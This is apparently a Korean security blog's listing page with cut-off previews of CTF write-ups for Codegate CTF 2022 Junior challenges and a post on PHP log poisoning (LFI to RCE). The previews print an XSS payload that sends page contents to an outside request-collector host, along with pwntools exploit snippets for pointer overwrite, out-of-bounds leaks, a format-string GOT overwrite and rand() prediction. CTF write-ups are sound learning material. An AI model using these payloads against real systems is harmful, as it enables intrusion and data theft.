분류 전체보기(66)
-
[CTF write up] Codegate CTF 2022 Junior - ohmypage : XSS to get html contents
search 페이지에서 XSS가 발생하고 report 페이지에서 관리자에게 XSS를 트리거할 수 있다. 문제는 cookie가 httponly로 설정되어 있어서 탈취가 불가능하다. 그래서 My Page에 표시된 값을 긁어와야 된다. 자바스크립트를 제대로 써본적이 없기 때문에 관련 XSS 페이로드를 찾아보려고 했지만 찾을 수 없었다.. 그래서 굉장히 많은 시간을 들여서 페이로드를 직접 만들었다. http://3.38.235.13:8881/search?text=%3Ciframe%20onload=%22location.href%20=%27https://ldbknsp.request.dreamhack.games?html=%27.concat(document.getElementById(%27target%27).conte..
2022.02.27 -
[CTF write up] Codegate CTF 2022 Junior - mungchistak : PTR Overwrite
from pwn import * def event1(): for i in range(0,7): p.sendlineafter(b'>',b'1') p.sendlineafter(b'>',b'2') p.sendlineafter(b'>',b'3') def event2(): p.sendlineafter(b'>',b'1') p.sendlineafter(b'>', b'1') p.sendlineafter(b'>',b'3') #p = process('mungchistack') p = remote('3.39.32.143',5333) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.sendline(b'a') event2() p.sendline(b'12') lic = u64(p.recvun..
2022.02.27 -
[CTF write up] Codegate CTF 2022 Junior - Dino_diary : Simple Out Of Bound
from pwn import * #p = process('Dino_diary') p = remote('52.78.171.46',8080) p.sendlineafter(b':',b'3') p.sendlineafter(b':',b'-28') p.recvuntil(b'comment number: ') lic1 = p.recvuntil(b'\n') lic1 = lic1[16:len(lic1)-1] print(lic1) p.recvuntil(b'name: ') lic2 = p.recvuntil(b'\x7f') print(lic2) stdout = u64(p32(int(lic1)) + lic2 + b'\x00\x00') print(hex(stdout)) oneshot = stdout - 0x39d210 - 0x4f..
2022.02.27 -
[CTF write up] Codegate CTF 2022 Junior - cat_tail : Hidden Format String Bug
from pwn import * #context.log_level = 'debug' #p = process('cat_tail') p = remote('3.39.67.50',5334) p.sendlineafter(b'>',b'3') fsb_payload = b'%4117d%16$hnAAAA' + p64(0x404070) print(fsb_payload) raw_input() p.sendlineafter(b'>',fsb_payload) p.interactive() 처음에는 파일 권한 관련 취약점이 있는 줄 알아서 고생했다... 다시 제대로 분석해보니 포맷 스트링 버그가 있었다. 권한 확인을 단순히 파일 이름 비교로 하기 때문에 strcmp의 GOT를 RET 가젯으로 바꾸면 flag에 대한 권한 검사가 작동하..
2022.02.27 -
[CTF write up] Codegate CTF 2022 Junior - Gift : Rand() Crack
from pwn import * import ctypes point = 20 def money(point): p.sendlineafter(b'>', b'3') p.sendlineafter(b'>', b'5') lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') lib.srand(lib.time(0)) a = lib.rand() % 50 b = lib.rand() % 50 if a > b: p.sendlineafter(b'>', f'{point} 2'.encode()) else: p.sendlineafter(b'>', f'{point} 1'.encode()) print(a, b) #p = process(['cooldown'], env={'LD_PRELOAD':'...
2022.02.27 -
[웹 익스플로잇] Log Poisoning : PHP LFI(Local File Inlcusion) to RCE(Remote Code Execution)
https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1 From Local File Inclusion to Remote Code Execution - Part 1 | Outpost 24 blog From Local File Inclusion to Remote Code Execution - Part 1 24.Apr.2018 Nikos Danopoulos, IT Security Consultant Local File Inclusion - aka LFI - is one of the most common Web Application vulnerabilities. If conducted successfully, It ..
2022.02.21